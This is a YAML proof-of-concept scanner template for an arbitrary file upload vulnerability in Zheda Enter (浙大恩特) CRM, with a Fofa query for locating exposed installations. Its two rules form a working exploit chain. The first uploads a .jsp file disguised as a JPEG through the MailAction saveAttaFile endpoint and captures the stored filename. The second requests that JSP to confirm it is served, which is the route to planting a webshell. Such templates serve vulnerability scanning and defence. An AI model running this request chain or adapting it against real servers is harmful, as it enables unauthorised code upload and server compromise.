漏洞描述
浙大恩特CRM/entsoft/MailAction.entphone;.js?method=loadFile任意文件上传
Fofa: title="欢迎使用浙大恩特客户资源管理系统"
id: entsoft-crm-mailaction-entphone-fileupload
info:
name: 浙大恩特CRM/entsoft/MailAction.entphone;.js?method=loadFile任意文件上传
author: wuha
severity: critical
verified: true
description: |
浙大恩特CRM/entsoft/MailAction.entphone;.js?method=loadFile任意文件上传
Fofa: title="欢迎使用浙大恩特客户资源管理系统"
reference:
- https://mp.weixin.qq.com/s/yesxZD71HEKxpxQrmnsBrg
tags: entsoft,fileupload
created: 2023/11/14
set:
randstr: randomLowercase(12)
randbody: randomLowercase(30)
rboundary: randomLowercase(8)
rules:
r0:
request:
method: POST
path: /entsoft/MailAction.entphone;.js?act=saveAttaFile
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\r\n\
Content-Type: image/jpeg\r\n\
\r\n\
{{randbody}}\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: |
response.status == 200 &&
response.body.bcontains(b'"visitRoot"') &&
response.body.bcontains(b'"fileName"') &&
response.body.bcontains(b'"isImage"') &&
response.body.bcontains(bytes(randstr))
output:
search: '"/enterdoc/EnterMail/(?P<filename>.+?).jsp".bsubmatch(response.body)'
filename: search["filename"]
r1:
request:
method: GET
path: /enterdoc/EnterMail/{{filename}}.jsp
expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()